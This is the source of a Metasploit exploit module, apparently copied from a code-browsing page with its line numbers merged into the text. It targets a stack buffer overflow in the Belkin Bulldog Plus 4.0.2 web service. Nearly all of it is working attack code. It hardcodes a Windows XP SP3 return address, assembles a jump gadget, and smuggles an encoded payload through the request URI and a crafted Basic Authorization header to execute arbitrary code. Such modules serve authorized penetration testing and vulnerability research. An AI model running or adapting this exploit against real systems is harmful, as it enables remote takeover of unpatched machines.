Path: blob/master/modules/exploits/windows/http/belkin_bulldog.rb
19851 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Belkin Bulldog Plus Web Service Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Belkin Bulldog Plus174.0.2 build 1219. When sending a specially crafted http request,18an attacker may be able to execute arbitrary code.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'OSVDB', '54395' ],24[ 'BID', '34033' ],25[ 'EDB', '8173' ]26],27'Privileged' => true,28'DefaultOptions' => {29'EXITFUNC' => 'process',30'AllowWin32SEH' => true31},32'Payload' => {33'Space' => 750,34'BadChars' => "\x00",35'StackAdjustment' => -3500,36'EncoderType' => Msf::Encoder::Type::AlphanumUpper,37'DisableNops' => true,38},39'Platform' => 'win',40'Targets' => [41[ 'Windows XP SP3 English', { 'Ret' => 0x7e4456f7 } ],42],43'DefaultTarget' => 0,44'DisclosureDate' => '2009-03-08',45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)52end5354def exploit55c = connect5657dwerd = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call dword [esp+58h]").encode_string5859filler = [target.ret].pack('V') + dwerd + make_nops(28)6061print_status("Trying target #{target.name}...")6263send_request_raw({64'uri' => payload.encoded,65'version' => '1.1',66'method' => 'GET',67'headers' =>68{69'Authorization' => "Basic #{Rex::Text.encode_base64(filler)}"70}71}, 5)7273handler74end75end767778